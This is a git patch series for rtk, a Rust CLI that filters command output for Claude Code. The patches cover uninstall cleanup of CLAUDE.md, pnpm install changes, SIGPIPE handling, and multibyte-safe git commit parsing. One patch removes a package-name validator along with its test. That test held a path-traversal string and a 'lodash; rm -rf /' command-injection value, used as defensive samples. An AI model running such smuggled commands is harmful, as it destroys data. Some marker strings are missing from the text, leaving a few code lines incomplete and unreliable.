From 8fc0e4dd64cb3813f23f94233adbb529a59ba519 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 6 Mar 2026 23:05:29 +0100 Subject: [PATCH 001/257] fix(uninstall): uninstall removes --claude-md artifacts on Windows MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Core fix (src/init.rs — uninstall()): - Added step 3b after existing @RTK.md removal: checks for ` block from CLAUDE.md ([#384](https://github.com/rtk-ai/rtk/issues/384)) + - On Windows, `rtk init -g` falls back to `--claude-md` mode, which injects instructions directly into CLAUDE.md. Uninstall previously only looked for Unix-mode artifacts (hook, RTK.md, @RTK.md, settings.json), so it reported "nothing to remove" on Windows. + - Uninstall now prints checked paths when nothing is found, to help diagnose path issues + - Cross-platform error message: shows `%USERPROFILE%` on Windows, `$HOME` on Unix + - Extracted marker constants (`RTK_BLOCK_START`, `RTK_BLOCK_END`) to prevent string drift + ### Tests * +48 regression tests covering all command categories: aws, psql, Python, Go, JS/TS, compound operators, sudo/env prefixes, registry invariants (607 total, was 559) +* +5 tests for uninstall `--claude-md` artifact cleanup (614 total) ## [0.24.0](https://github.com/rtk-ai/rtk/compare/v0.23.0...v0.24.0) (2026-03-04) diff --git a/README.md b/README.md index a714d95e84..1d942424ff 100644 --- a/README.md +++ b/README.md @@ -694,6 +694,7 @@ rtk init -g --uninstall # - ~/.claude/hooks/rtk-rewrite.sh # - ~/.claude/RTK.md # - @RTK.md reference from ~/.claude/CLAUDE.md +# - block from ~/.claude/CLAUDE.md (Windows/--claude-md mode) # - RTK hook entry from ~/.claude/settings.json # Restart Claude Code after uninstall @@ -778,8 +779,8 @@ rm ~/.claude/hooks/rtk-rewrite.sh # Remove RTK.md rm ~/.claude/RTK.md -# Remove @RTK.md reference -nano ~/.claude/CLAUDE.md # Delete @RTK.md line +# Remove @RTK.md reference or block +nano ~/.claude/CLAUDE.md # Delete @RTK.md line or rtk-instructions block # Remove from settings.json nano ~/.claude/settings.json # Remove RTK hook entry diff --git a/src/init.rs b/src/init.rs index 2fbd11fb3c..08a5565db2 100644 --- a/src/init.rs +++ b/src/init.rs @@ -12,6 +12,12 @@ const REWRITE_HOOK: &str = include_str!("../hooks/rtk-rewrite.sh"); // Embedded slim RTK awareness instructions const RTK_SLIM: &str = include_str!("../hooks/rtk-awareness.md"); +// Marker strings for RTK instructions block in CLAUDE.md. +// RTK_BLOCK_START is a prefix: matches any version like ``. +// RTK_BLOCK_END is the exact closing tag. +const RTK_BLOCK_START: &str = ""; + /// Control flow for settings.json patching #[derive(Debug, Clone, Copy, PartialEq)] pub enum PatchMode { @@ -446,20 +452,46 @@ pub fn uninstall(global: bool, verbose: u8) -> Result<()> { let content = fs::read_to_string(&claude_md_path) .with_context(|| format!("Failed to read CLAUDE.md: {}", claude_md_path.display()))?; - if content.contains("@RTK.md") { - let new_content = content + let mut claude_md_changed = false; + let mut working_content = content.clone(); + + if working_content.contains("@RTK.md") { + let new_content = working_content .lines() .filter(|line| !line.trim().starts_with("@RTK.md")) .collect::>() .join("\n"); - // Clean up double blanks - let cleaned = clean_double_blanks(&new_content); + working_content = clean_double_blanks(&new_content); + claude_md_changed = true; + removed.push("CLAUDE.md: removed @RTK.md reference".to_string()); + } - fs::write(&claude_md_path, cleaned).with_context(|| { - format!("Failed to write CLAUDE.md: {}", claude_md_path.display()) - })?; - removed.push(format!("CLAUDE.md: removed @RTK.md reference")); + if working_content.contains(RTK_BLOCK_START) { + let (cleaned, did_remove) = remove_rtk_block(&working_content); + if did_remove { + working_content = cleaned; + claude_md_changed = true; + removed.push("CLAUDE.md: removed rtk-instructions block".to_string()); + } + } + + if claude_md_changed { + let trimmed = working_content.trim(); + if trimmed.is_empty() { + fs::remove_file(&claude_md_path).with_context(|| { + format!( + "Failed to remove empty CLAUDE.md: {}", + claude_md_path.display() + ) + })?; + removed.retain(|r| !r.starts_with("CLAUDE.md:")); + removed.push("CLAUDE.md: removed (was empty after cleanup)".to_string()); + } else { + fs::write(&claude_md_path, &working_content).with_context(|| { + format!("Failed to write CLAUDE.md: {}", claude_md_path.display()) + })?; + } } } @@ -471,6 +503,10 @@ pub fn uninstall(global: bool, verbose: u8) -> Result<()> { // Report results if removed.is_empty() { println!("RTK was not installed (nothing to remove)"); + println!(" Checked: {}", hook_path.display()); + println!(" Checked: {}", claude_dir.join("RTK.md").display()); + println!(" Checked: {}", claude_md_path.display()); + println!(" Checked: {}", claude_dir.join("settings.json").display()); } else { println!("RTK uninstalled:"); for item in removed { @@ -814,14 +850,15 @@ fn run_claude_md_mode(global: bool, verbose: u8) -> Result<()> { } RtkBlockUpsert::Malformed => { eprintln!( - "⚠️ Warning: Found '"; + let start_marker = RTK_BLOCK_START; + let end_marker = RTK_BLOCK_END; if let Some(start) = content.find(start_marker) { if let Some(relative_end) = content[start..].find(end_marker) { @@ -923,7 +960,7 @@ fn patch_claude_md(path: &Path, verbose: u8) -> Result { let mut migrated = false; // Check for old block and migrate - if content.contains(""), - ) { - let end_pos = end + "".len(); + if let (Some(start), Some(end)) = (content.find(RTK_BLOCK_START), content.find(RTK_BLOCK_END)) { + let end_pos = end + RTK_BLOCK_END.len(); let before = content[..start].trim_end(); let after = content[end_pos..].trim_start(); @@ -978,15 +1012,18 @@ fn remove_rtk_block(content: &str) -> (String, bool) { }; (result, true) // migrated - } else if content.contains(" -OLD RTK STUFF - - -More content"#; + let input = format!( + "# My Config\n\n{} v2 -->\nOLD RTK STUFF\n{}\n\nMore content", + RTK_BLOCK_START, RTK_BLOCK_END + ); - let (result, migrated) = remove_rtk_block(input); + let (result, migrated) = remove_rtk_block(&input); assert!(migrated); assert!(!result.contains("OLD RTK STUFF")); assert!(result.contains("# My Config")); @@ -1223,8 +1265,8 @@ More content"#; #[test] fn test_migration_warns_on_missing_end_marker() { - let input = "\nOLD STUFF\nNo end marker"; - let (result, migrated) = remove_rtk_block(input); + let input = format!("{} v2 -->\nOLD STUFF\nNo end marker", RTK_BLOCK_START); + let (result, migrated) = remove_rtk_block(&input); assert!(!migrated); assert_eq!(result, input); } @@ -1252,9 +1294,9 @@ More content"#; #[test] fn test_claude_md_mode_creates_full_injection() { // Just verify RTK_INSTRUCTIONS constant has the right content - assert!(RTK_INSTRUCTIONS.contains("")); + assert!(RTK_INSTRUCTIONS.contains(RTK_BLOCK_END)); assert!(RTK_INSTRUCTIONS.len() > 4000); } @@ -1266,21 +1308,17 @@ More content"#; let (content, action) = upsert_rtk_block(input, RTK_INSTRUCTIONS); assert_eq!(action, RtkBlockUpsert::Added); assert!(content.contains("# Team instructions")); - assert!(content.contains(" -OLD RTK CONTENT - - -More notes -"#; + let input = format!( + "# Team instructions\n\n{} v1 -->\nOLD RTK CONTENT\n{}\n\nMore notes\n", + RTK_BLOCK_START, RTK_BLOCK_END + ); - let (content, action) = upsert_rtk_block(input, RTK_INSTRUCTIONS); + let (content, action) = upsert_rtk_block(&input, RTK_INSTRUCTIONS); assert_eq!(action, RtkBlockUpsert::Updated); assert!(!content.contains("OLD RTK CONTENT")); assert!(content.contains("rtk cargo test")); // from current RTK_INSTRUCTIONS @@ -1301,8 +1339,8 @@ More notes #[test] fn test_upsert_rtk_block_detects_malformed_block() { - let input = "\npartial"; - let (content, action) = upsert_rtk_block(input, RTK_INSTRUCTIONS); + let input = format!("{} v2 -->\npartial", RTK_BLOCK_START); + let (content, action) = upsert_rtk_block(&input, RTK_INSTRUCTIONS); assert_eq!(action, RtkBlockUpsert::Malformed); assert_eq!(content, input); } @@ -1328,7 +1366,7 @@ More notes fs::write(&claude_md, RTK_INSTRUCTIONS).unwrap(); let content = fs::read_to_string(&claude_md).unwrap(); - assert!(content.contains(" block + let content = format!("# Config\n\n@RTK.md\n\n{}\n\nMore stuff", RTK_INSTRUCTIONS); + + let after_at_removal: String = content + .lines() + .filter(|line| !line.trim().starts_with("@RTK.md")) + .collect::>() + .join("\n"); + + assert!(!after_at_removal.contains("@RTK.md")); + assert!(after_at_removal.contains(RTK_BLOCK_START)); + + let (final_content, did_remove) = remove_rtk_block(&after_at_removal); + assert!(did_remove); + assert!(!final_content.contains(RTK_BLOCK_START)); + assert!(final_content.contains("# Config")); + assert!(final_content.contains("More stuff")); + } + + #[test] + fn test_uninstall_integration_claude_md_only() { + let temp = TempDir::new().unwrap(); + let claude_md = temp.path().join("CLAUDE.md"); + + // install + fs::write(&claude_md, RTK_INSTRUCTIONS).unwrap(); + + // uninstall + let content = fs::read_to_string(&claude_md).unwrap(); + assert!(content.contains(RTK_BLOCK_START)); + assert!(content.contains(RTK_BLOCK_END)); + assert!(content.contains("rtk cargo test")); + + let mut removed = Vec::new(); + let mut claude_md_changed = false; + let mut working_content = content.clone(); + + if working_content.contains("@RTK.md") { + unreachable!("Windows/--claude-md install should not have @RTK.md"); + } + + if working_content.contains(RTK_BLOCK_START) { + let (cleaned, did_remove) = remove_rtk_block(&working_content); + assert!(did_remove, "remove_rtk_block must succeed for valid block"); + working_content = cleaned; + claude_md_changed = true; + removed.push("CLAUDE.md: removed rtk-instructions block".to_string()); + } + + assert!( + claude_md_changed, + "uninstall must detect the rtk-instructions block" + ); + assert!(!removed.is_empty(), "must have recorded removal"); + + let trimmed = working_content.trim(); + if trimmed.is_empty() { + fs::remove_file(&claude_md).unwrap(); + removed.retain(|r| !r.starts_with("CLAUDE.md:")); + removed.push("CLAUDE.md: removed (was empty after cleanup)".to_string()); + } else { + fs::write(&claude_md, &working_content).unwrap(); + } + + assert!( + !claude_md.exists(), + "CLAUDE.md should be deleted when it only contained RTK instructions" + ); + assert_eq!(removed.len(), 1); + assert!(removed[0].contains("was empty after cleanup")); + } + + #[test] + fn test_uninstall_integration_preserves_user_content() { + let temp = TempDir::new().unwrap(); + let claude_md = temp.path().join("CLAUDE.md"); + + // install + let user_content = "# My Project Rules\n\nAlways use snake_case.\n"; + let installed = format!("{}\n{}", user_content, RTK_INSTRUCTIONS); + fs::write(&claude_md, &installed).unwrap(); + + // uninstall + let content = fs::read_to_string(&claude_md).unwrap(); + let mut working_content = content.clone(); + let mut claude_md_changed = false; + + if working_content.contains(RTK_BLOCK_START) { + let (cleaned, did_remove) = remove_rtk_block(&working_content); + assert!(did_remove); + working_content = cleaned; + claude_md_changed = true; + } + + assert!(claude_md_changed); + let trimmed = working_content.trim(); + assert!(!trimmed.is_empty(), "user content should remain"); + fs::write(&claude_md, &working_content).unwrap(); + + let final_content = fs::read_to_string(&claude_md).unwrap(); + assert!(claude_md.exists(), "CLAUDE.md should still exist"); + assert!( + final_content.contains("My Project Rules"), + "user content must be preserved" + ); + assert!( + final_content.contains("snake_case"), + "user content must be preserved" + ); + assert!( + !final_content.contains(RTK_BLOCK_START), + "RTK block must be fully removed" + ); + assert!( + !final_content.contains(RTK_BLOCK_END), + "RTK end marker must be removed" + ); + assert!( + !final_content.contains("rtk cargo test"), + "RTK content must be removed" + ); + } } From 69a9c64c67016d22226c647fd5440533b4faa915 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 13 Mar 2026 15:25:14 +0100 Subject: [PATCH 002/257] fix(init-uninstall): trailing newline, test refactor, changelog Signed-off-by: aesoft <43991222+aeppling@users.noreply.github.com> --- CHANGELOG.md | 9 +---- src/init.rs | 96 ++++++++++------------------------------------------ 2 files changed, 18 insertions(+), 87 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 491be86911..b8b0021b4a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -61,6 +61,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Bug Fixes * **curl:** skip JSON schema replacement when schema is larger than original payload ([#297](https://github.com/rtk-ai/rtk/issues/297)) +* **init:** `rtk init -g --uninstall` now removes `` block from CLAUDE.md ([#384](https://github.com/rtk-ai/rtk/issues/384)) ## [0.25.0](https://github.com/rtk-ai/rtk/compare/v0.24.0...v0.25.0) (2026-03-05) @@ -105,14 +106,6 @@ breakage, but future rule additions won't take effect until they migrate. * **discover**: extract rules/patterns into `src/discover/rules.rs` — adding a command now means editing one file only * **fix**: add `aws` and `psql` to rewrite registry (were missing despite modules existing since 0.24.0) -### Bug Fixes - -* **init:** `rtk init -g --uninstall` now removes `` block from CLAUDE.md ([#384](https://github.com/rtk-ai/rtk/issues/384)) - - On Windows, `rtk init -g` falls back to `--claude-md` mode, which injects instructions directly into CLAUDE.md. Uninstall previously only looked for Unix-mode artifacts (hook, RTK.md, @RTK.md, settings.json), so it reported "nothing to remove" on Windows. - - Uninstall now prints checked paths when nothing is found, to help diagnose path issues - - Cross-platform error message: shows `%USERPROFILE%` on Windows, `$HOME` on Unix - - Extracted marker constants (`RTK_BLOCK_START`, `RTK_BLOCK_END`) to prevent string drift - ### Tests * +48 regression tests covering all command categories: aws, psql, Python, Go, JS/TS, diff --git a/src/init.rs b/src/init.rs index 73c11cc147..512a9072ba 100644 --- a/src/init.rs +++ b/src/init.rs @@ -1006,7 +1006,7 @@ fn remove_rtk_block(content: &str) -> (String, bool) { let after = content[end_pos..].trim_start(); let result = if after.is_empty() { - before.to_string() + format!("{}\n", before) } else { format!("{}\n\n{}", before, after) }; @@ -1675,104 +1675,42 @@ mod tests { #[test] fn test_uninstall_integration_claude_md_only() { - let temp = TempDir::new().unwrap(); - let claude_md = temp.path().join("CLAUDE.md"); - - // install - fs::write(&claude_md, RTK_INSTRUCTIONS).unwrap(); - - // uninstall - let content = fs::read_to_string(&claude_md).unwrap(); - assert!(content.contains(RTK_BLOCK_START)); - assert!(content.contains(RTK_BLOCK_END)); - assert!(content.contains("rtk cargo test")); - - let mut removed = Vec::new(); - let mut claude_md_changed = false; - let mut working_content = content.clone(); - - if working_content.contains("@RTK.md") { - unreachable!("Windows/--claude-md install should not have @RTK.md"); - } - - if working_content.contains(RTK_BLOCK_START) { - let (cleaned, did_remove) = remove_rtk_block(&working_content); - assert!(did_remove, "remove_rtk_block must succeed for valid block"); - working_content = cleaned; - claude_md_changed = true; - removed.push("CLAUDE.md: removed rtk-instructions block".to_string()); - } - + // When CLAUDE.md contains only RTK instructions, removal should leave it empty + let (cleaned, did_remove) = remove_rtk_block(RTK_INSTRUCTIONS); + assert!(did_remove, "remove_rtk_block must succeed for valid block"); assert!( - claude_md_changed, - "uninstall must detect the rtk-instructions block" + cleaned.trim().is_empty(), + "CLAUDE.md with only RTK content should be empty after removal" ); - assert!(!removed.is_empty(), "must have recorded removal"); - - let trimmed = working_content.trim(); - if trimmed.is_empty() { - fs::remove_file(&claude_md).unwrap(); - removed.retain(|r| !r.starts_with("CLAUDE.md:")); - removed.push("CLAUDE.md: removed (was empty after cleanup)".to_string()); - } else { - fs::write(&claude_md, &working_content).unwrap(); - } - - assert!( - !claude_md.exists(), - "CLAUDE.md should be deleted when it only contained RTK instructions" - ); - assert_eq!(removed.len(), 1); - assert!(removed[0].contains("was empty after cleanup")); } #[test] fn test_uninstall_integration_preserves_user_content() { - let temp = TempDir::new().unwrap(); - let claude_md = temp.path().join("CLAUDE.md"); - - // install - let user_content = "# My Project Rules\n\nAlways use snake_case.\n"; - let installed = format!("{}\n{}", user_content, RTK_INSTRUCTIONS); - fs::write(&claude_md, &installed).unwrap(); + // Mixed content → user content survives, RTK block removed + let user_content = "# My Project Rules\n\nAlways use snake_case."; + let installed = format!("{}\n\n{}", user_content, RTK_INSTRUCTIONS); - // uninstall - let content = fs::read_to_string(&claude_md).unwrap(); - let mut working_content = content.clone(); - let mut claude_md_changed = false; - - if working_content.contains(RTK_BLOCK_START) { - let (cleaned, did_remove) = remove_rtk_block(&working_content); - assert!(did_remove); - working_content = cleaned; - claude_md_changed = true; - } - - assert!(claude_md_changed); - let trimmed = working_content.trim(); - assert!(!trimmed.is_empty(), "user content should remain"); - fs::write(&claude_md, &working_content).unwrap(); - - let final_content = fs::read_to_string(&claude_md).unwrap(); - assert!(claude_md.exists(), "CLAUDE.md should still exist"); + let (cleaned, did_remove) = remove_rtk_block(&installed); + assert!(did_remove); + assert!(!cleaned.trim().is_empty(), "user content should remain"); assert!( - final_content.contains("My Project Rules"), + cleaned.contains("My Project Rules"), "user content must be preserved" ); assert!( - final_content.contains("snake_case"), + cleaned.contains("snake_case"), "user content must be preserved" ); assert!( - !final_content.contains(RTK_BLOCK_START), + !cleaned.contains(RTK_BLOCK_START), "RTK block must be fully removed" ); assert!( - !final_content.contains(RTK_BLOCK_END), + !cleaned.contains(RTK_BLOCK_END), "RTK end marker must be removed" ); assert!( - !final_content.contains("rtk cargo test"), + !cleaned.contains("rtk cargo test"), "RTK content must be removed" ); } From 9a50efadc38c71cc4a0f3cb05b46cbe41d925a0c Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sat, 4 Apr 2026 02:39:25 +0200 Subject: [PATCH 003/257] fix(pnpm): install don't take a list of packages Signed-off-by: Nicolas Le Cam --- INSTALL.md | 6 +++--- docs/usage/FEATURES.md | 2 +- src/cmds/js/pnpm_cmd.rs | 48 +++++------------------------------------ src/main.rs | 6 ++---- 4 files changed, 11 insertions(+), 51 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index 98457d09a9..bc34175552 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -296,9 +296,9 @@ rtk git push # → "ok ✓ main" ### Pnpm (fork only) ```bash -rtk pnpm list # Dependency tree (-70% tokens) -rtk pnpm outdated # Available updates (-80-90%) -rtk pnpm install pkg # Silent installation +rtk pnpm list # Dependency tree (-70% tokens) +rtk pnpm outdated # Available updates (-80-90%) +rtk pnpm install # Silent installation ``` ### Tests diff --git a/docs/usage/FEATURES.md b/docs/usage/FEATURES.md index 061a604a93..d9b29c1ed2 100644 --- a/docs/usage/FEATURES.md +++ b/docs/usage/FEATURES.md @@ -799,7 +799,7 @@ Detecte automatiquement : prettier, black, ruff format, rustfmt. Applique un fil |----------|-------------|-----------| | `rtk pnpm list [-d N]` | Arbre de dependances compact | ~70% | | `rtk pnpm outdated` | Paquets obsoletes : `pkg: old -> new` | ~80% | -| `rtk pnpm install [pkgs...]` | Filtre les barres de progression | ~60% | +| `rtk pnpm install` | Filtre les barres de progression | ~60% | | `rtk pnpm build` | Delegue au filtre Next.js | ~87% | | `rtk pnpm typecheck` | Delegue au filtre tsc | ~83% | diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index 9ec8326201..549be1b4fb 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -262,34 +262,18 @@ fn extract_outdated_text(output: &str) -> Option { } } -/// Validates npm package name according to official rules -fn is_valid_package_name(name: &str) -> bool { - if name.is_empty() || name.len() > 214 { - return false; - } - - // No path traversal - if name.contains("..") { - return false; - } - - // Only safe characters - name.chars() - .all(|c| c.is_alphanumeric() || matches!(c, '@' | '/' | '-' | '_' | '.')) -} - #[derive(Debug, Clone)] pub enum PnpmCommand { List { depth: usize }, Outdated, - Install { packages: Vec }, + Install, } pub fn run(cmd: PnpmCommand, args: &[String], verbose: u8) -> Result { match cmd { PnpmCommand::List { depth } => run_list(depth, args, verbose), PnpmCommand::Outdated => run_outdated(args, verbose), - PnpmCommand::Install { packages } => run_install(&packages, args, verbose), + PnpmCommand::Install => run_install(args, verbose), } } @@ -401,26 +385,12 @@ fn run_outdated(args: &[String], verbose: u8) -> Result { Ok(0) } -fn run_install(packages: &[String], args: &[String], verbose: u8) -> Result { +fn run_install(args: &[String], verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - // Validate package names to prevent command injection - for pkg in packages { - if !is_valid_package_name(pkg) { - anyhow::bail!( - "Invalid package name: '{}' (contains unsafe characters)", - pkg - ); - } - } - let mut cmd = resolved_command("pnpm"); cmd.arg("install"); - for pkg in packages { - cmd.arg(pkg); - } - for arg in args { cmd.arg(arg); } @@ -444,8 +414,8 @@ fn run_install(packages: &[String], args: &[String], verbose: u8) -> Result println!("{}", filtered); timer.track( - &format!("pnpm install {}", packages.join(" ")), - &format!("rtk pnpm install {}", packages.join(" ")), + &format!("pnpm install"), + &format!("rtk pnpm install"), &combined, &filtered, ); @@ -540,14 +510,6 @@ mod tests { assert_eq!(data.dependencies[0].name, "express"); } - #[test] - fn test_package_name_validation() { - assert!(is_valid_package_name("lodash")); - assert!(is_valid_package_name("@clerk/express")); - assert!(!is_valid_package_name("../../../etc/passwd")); - assert!(!is_valid_package_name("lodash; rm -rf /")); - } - #[test] fn test_run_passthrough_accepts_args() { // Test that run_passthrough compiles and has correct signature diff --git a/src/main.rs b/src/main.rs index 11332034a0..0499c7b093 100644 --- a/src/main.rs +++ b/src/main.rs @@ -801,8 +801,6 @@ enum PnpmCommands { }, /// Install packages (filter progress bars) Install { - /// Packages to install - packages: Vec, /// Additional pnpm arguments #[arg(trailing_var_arg = true, allow_hyphen_values = true)] args: Vec, @@ -1486,8 +1484,8 @@ fn run_cli() -> Result { &merge_pnpm_args(&filter, &args), cli.verbose, )?, - PnpmCommands::Install { packages, args } => pnpm_cmd::run( - pnpm_cmd::PnpmCommand::Install { packages }, + PnpmCommands::Install { args } => pnpm_cmd::run( + pnpm_cmd::PnpmCommand::Install, &merge_pnpm_args(&filter, &args), cli.verbose, )?, From 49a094ac9ba7615a14f2ee0b8fad10932ffe76f7 Mon Sep 17 00:00:00 2001 From: Ashwin Gopalsamy <47941624+ashwingopalsamy@users.noreply.github.com> Date: Mon, 6 Apr 2026 09:57:01 +0530 Subject: [PATCH 004/257] fix: reset SIGPIPE to default handler to avoid panic --- src/main.rs | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/src/main.rs b/src/main.rs index 11332034a0..9f526264b5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1247,6 +1247,15 @@ fn validate_pnpm_filters(filters: &[String], command: &PnpmCommands) -> Option code, Err(e) => { From 03cc790a6a67a033185d45ad85df6641c5b50bee Mon Sep 17 00:00:00 2001 From: Ashwin Gopalsamy <47941624+ashwingopalsamy@users.noreply.github.com> Date: Mon, 6 Apr 2026 10:14:01 +0530 Subject: [PATCH 005/257] test: add ignored test for broken-pipe crash --- src/main.rs | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/src/main.rs b/src/main.rs index 9f526264b5..f9be6380c9 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2736,4 +2736,38 @@ mod tests { _ => panic!("Expected Pnpm Build command"), } } + + #[test] + #[ignore] // Integration test: requires `cargo build` first + fn test_broken_pipe_does_not_crash() { + let bin_path = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("target") + .join("debug") + .join("rtk"); + assert!( + bin_path.exists(), + "Debug binary not found at {:?} - run `cargo build` first", + bin_path + ); + + let mut child = std::process::Command::new(&bin_path) + .args(["git", "log", "--online", "-50"]) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .expect("Failed to spawn rtk"); + + // Read one byte then drop stdout to close the pipe. + let mut stdout = child.stdout.take().unwrap(); + let mut buf = [0u8; 1]; + let _ = std::io::Read::read(&mut stdout, &mut buf); + + let status = child.wait().expect("Failed to wait for rtk"); + let code = status.code().unwrap_or(-1); + + assert_ne!( + code, 134, + "rtk crashed with SIGABRT (exit 134) on broken pipe - SIGPIPE handler missing" + ); + } } From ccf3a020ea6641482b31a0a841806ca156fe6a50 Mon Sep 17 00:00:00 2001 From: Ashwin Gopalsamy <47941624+ashwingopalsamy@users.noreply.github.com> Date: Mon, 13 Apr 2026 09:37:07 +0530 Subject: [PATCH 006/257] fix: address PR review comments --- src/main.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main.rs b/src/main.rs index f9be6380c9..00557d4ced 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1251,7 +1251,7 @@ fn main() { // e.g `rtk git log | head` exits silently instead of panicking. // Rust ignores SIGPIPE by default and with panic="abort" in the // release profile that becomes SIGABRT + coredump. - // #[cfg(unix)] + #[cfg(unix)] unsafe { libc::signal(libc::SIGPIPE, libc::SIG_DFL); } @@ -2751,7 +2751,7 @@ mod tests { ); let mut child = std::process::Command::new(&bin_path) - .args(["git", "log", "--online", "-50"]) + .args(["git", "log", "--oneline", "-50"]) .stdout(std::process::Stdio::piped()) .stderr(std::process::Stdio::piped()) .spawn() From c5ec92fac8d358e100b12ed2f1e9277bc924bbdd Mon Sep 17 00:00:00 2001 From: "shalk(xiao kun)" Date: Mon, 13 Apr 2026 17:09:42 +0800 Subject: [PATCH 007/257] fix(git): fix panic on multibyte chars in commit output MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit git commit on an initial commit under a Chinese locale outputs: [master(根提交) fb597ec] Initial commit The old code found the first space and sliced line[1..hash_start], yielding "master(根提交)" (21 bytes). hash.len() >= 7 was true, so it tried &hash[..7] — but byte 7 falls inside the 3-byte '(' character, causing a panic. Two bugs were present: 1. Logic: the code grabbed the token *before* the first space (branch name), not the commit hash. The hash is always the last whitespace-separated token inside the [...] brackets. 2. Safety: raw byte slicing on a potentially non-ASCII string. Fix: find ']', extract the bracket content, split_whitespace() and take next_back() to get the hash. Use chars().take(7) for the short-hash slice so it is always char-boundary-safe. --- src/cmds/git/git.rs | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 2921da430e..153603778a 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -961,11 +961,16 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result= 7 { - format!("ok {}", &hash[..7.min(hash.len())]) + // Git hashes are ASCII; chars().take(7) is safe regardless + let short_hash: String = hash.chars().take(7).collect(); + format!("ok {}", short_hash) } else { "ok".to_string() } From ab4fa7b5395f0d376ae0e52ba5352d091d040276 Mon Sep 17 00:00:00 2001 From: "shalk(xiao kun)" Date: Mon, 13 Apr 2026 19:49:29 +0800 Subject: [PATCH 008/257] test(git): add regression tests for commit output parsing with multibyte branch names MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Extracts parse_commit_output into a testable helper function and adds 7 comprehensive unit tests covering: - Normal branch names - Root-commit annotations - Multibyte branch names (Chinese, Thai) — regression test for the panic fix - Edge cases (no bracket, short hash, empty input) Tests verify the fix handles UTF-8 safely by anchoring on ']' and using char-safe slicing. Co-Authored-By: Claude Haiku 4.5 --- src/cmds/git/git.rs | 78 +++++++++++++++++++++++++++++++++++++-------- 1 file changed, 65 insertions(+), 13 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 153603778a..b2dfa96329 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -941,6 +941,24 @@ fn build_commit_command(args: &[String], global_args: &[String]) -> Command { cmd } +/// Parse the first line of `git commit` success output and return a compact token. +/// Handles: `[main abc1234def] message`, `[main (root-commit) abc1234def] msg`, +/// localized variants, and multibyte branch names. +fn parse_commit_output(line: &str) -> String { + if let Some(bracket_end) = line.find(']') { + let bracket_content = &line[1..bracket_end]; + let hash = bracket_content.split_whitespace().next_back().unwrap_or(""); + if !hash.is_empty() && hash.len() >= 7 { + let short_hash: String = hash.chars().take(7).collect(); + format!("ok {}", short_hash) + } else { + "ok".to_string() + } + } else { + "ok".to_string() + } +} + fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result { let timer = tracking::TimedExecution::start(); @@ -964,19 +982,7 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result= 7 { - // Git hashes are ASCII; chars().take(7) is safe regardless - let short_hash: String = hash.chars().take(7).collect(); - format!("ok {}", short_hash) - } else { - "ok".to_string() - } - } else { - "ok".to_string() - } + parse_commit_output(line) } else { "ok".to_string() }; @@ -2278,6 +2284,52 @@ no changes added to commit (use "git add" and/or "git commit -a") assert!(result.contains("* main")); } + // --- commit output parsing --- + + #[test] + fn test_parse_commit_output_normal() { + let line = "[main abc1234def] add feature"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + #[test] + fn test_parse_commit_output_root_commit() { + let line = "[main (root-commit) abc1234def] initial commit"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + /// Regression test: multibyte branch name must not panic (was byte-slicing before fix) + #[test] + fn test_parse_commit_output_multibyte_branch() { + let line = "[分支名 abc1234def] 提交消息"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + /// Regression test: Thai branch name (3 bytes per char) + #[test] + fn test_parse_commit_output_thai_branch() { + let line = "[สาขา abc1234def] commit message"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + #[test] + fn test_parse_commit_output_no_bracket() { + let line = "some other output"; + assert_eq!(parse_commit_output(line), "ok"); + } + + #[test] + fn test_parse_commit_output_short_hash() { + // Hash shorter than 7 chars — treat as "ok" (no hash shown) + let line = "[main abc12] message"; + assert_eq!(parse_commit_output(line), "ok"); + } + + #[test] + fn test_parse_commit_output_empty() { + assert_eq!(parse_commit_output(""), "ok"); + } + /// Regression test: --oneline and other user format flags must preserve all commits. /// Before fix, filter_log_output split on ---END--- which doesn't exist when /// the user specifies their own format, resulting in only 2 commits surviving. From d02ea0d446154c4086df95c7d5aecc94eaa112b5 Mon Sep 17 00:00:00 2001 From: Wladi Mitzel Date: Wed, 15 Apr 2026 18:20:01 +0200 Subject: [PATCH 009/257] feat(pulumi): add CLI filters for preview/up/destroy/refresh/stack Adds 5 TOML filters for the Pulumi CLI, matching the existing OpenTofu/ Ansible/Terraform TOML-based pattern. Filters strip known noise (header banners, View Live URLs, policy pack loading, @ progress spinners, intermediate creating/updating/deleting rows, Duration, 